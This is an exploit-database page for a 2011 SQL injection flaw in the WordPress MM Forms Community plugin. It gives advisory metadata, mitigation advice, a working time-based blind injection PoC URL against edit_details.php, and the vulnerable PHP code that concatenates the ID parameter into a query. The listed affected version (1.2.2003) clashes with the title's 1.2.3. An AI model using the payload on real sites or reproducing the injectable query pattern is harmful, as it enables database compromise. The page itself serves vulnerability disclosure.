WordPress MM Forms Community plugin

vendor:

MM Forms Community

by:

Miroslav Stampar

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: MM Forms Community

Affected Version From: 1.2.2003

Affected Version To: 1.2.2003

Patch Exists: YES

Related CWE: N/A

CPE: a:wordpress:mm_forms_community

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2011

WordPress MM Forms Community plugin <= 1.2.3 SQL Injection Vulnerability

The WordPress MM Forms Community plugin version 1.2.3 is vulnerable to a SQL injection attack. This attack is possible when the magic_quotes setting is turned off. An attacker can exploit this vulnerability by sending a crafted HTTP request to the edit_details.php script with a malicious ID parameter. This will allow the attacker to execute arbitrary SQL commands on the underlying database.

Mitigation:

Ensure that the magic_quotes setting is enabled and that all user-supplied input is properly sanitized before being used in SQL queries.

Source

Exploit-DB raw data:

# Exploit Title: WordPress MM Forms Community plugin <= 1.2.3 SQL Injection Vulnerability
# Date: 2011-08-26
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/mm-forms-community.zip
# Version: 1.2.3 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/mm-forms-community/includes/edit_details.php?ID=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

---------------
Vulnerable code
---------------
foreach ($_REQUEST as $key => $value){
	
	
	$SQL="UPDATE wp_contactform_submit_data SET value=".quoteString($value)." WHERE fk_form_joiner_id='".$_REQUEST['ID']."' AND form_key='".$key."'";
	mysql_query($SQL);
}